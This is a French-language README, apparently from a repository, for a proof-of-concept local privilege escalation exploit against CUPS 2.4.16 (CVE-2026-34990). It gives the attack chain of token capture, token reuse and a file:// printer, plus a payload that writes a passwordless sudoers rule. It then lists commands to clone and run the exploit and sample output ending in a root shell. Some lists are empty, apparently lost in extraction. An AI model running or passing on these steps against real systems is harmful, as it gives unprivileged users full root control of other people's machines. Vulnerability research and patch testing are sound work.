
PoC générique pour CVE-2026-34990 - Élévation de privilèges locale dans CUPS 2.4.16 via la divulgation du jeton local et l'écrasement arbitraire de fichiers root.
Une preuve de concept générique pour CVE-2026-34990, une vulnérabilité d'élévation de privilèges locale affectant CUPS 2.4.16.
L'exploit démontre comment un utilisateur local non privilégié peut abuser de l'authentification locale de CUPS et du comportement de configuration des imprimantes pour obtenir une écriture de fichier arbitraire en tant que root et élever ses privilèges.
CVE-2026-34990 a été initialement signalée par :
Asim Viladi Oglu Manizada (@manizada)
Je ne suis pas le découvreur de cette vulnérabilité.
Ce dépôt contient mon implémentation de preuve de concept adaptée et testée, basée sur des informations techniques divulguées publiquement.
À un niveau élevé, la chaîne d'exploitation est la suivante :
Local unprivileged user
|
v
Create temporary CUPS printer
|
v
Trigger outbound IPP authentication
|
v
Capture Authorization: Local token
|
v
Reuse token against privileged CUPS operations
|
v
Create/persist file:// printer
|
v
Submit print job
|
v
Root-owned arbitrary file write
|
v
Privilege escalation
Le PoC utilise automatiquement le nom d'utilisateur local actuel.
Par exemple, lorsqu'il est exécuté en tant que :
alice
la charge utile de démonstration cible :
/etc/sudoers.d/alice-pwn
et tente d'écrire :
alice ALL=(ALL) NOPASSWD: ALL
Une exploitation réussie peut ensuite être vérifiée avec :
sudo -n id
Exemple :
uid=0(root) gid=0(root) groups=0(root)
Le PoC nécessite :
ipptoollplpstatVérifier la version de CUPS :
cups-config --version
Vérifier que le planificateur est en cours d'exécution :
lpstat -r
Vérifier l'écouteur CUPS local :
ss -lnt | grep 631
Cloner le dépôt :
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
Exécuter :
python3 exploit.py
Exemple de sortie :
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
Après une exploitation réussie :
sudo -n bash
Ce PoC est intentionnellement écrit comme une implémentation générique de la CVE divulguée publiquement.
Il ne contient pas :
Ce code est fourni pour :
N'utilisez ce code que sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite.
L'auteur n'est pas responsable de l'utilisation abusive de ce logiciel.
Découverte de la vulnérabilité :
Asim Viladi Oglu Manizada (@manizada)
Adaptation du PoC, tests et documentation :
Noor Khalil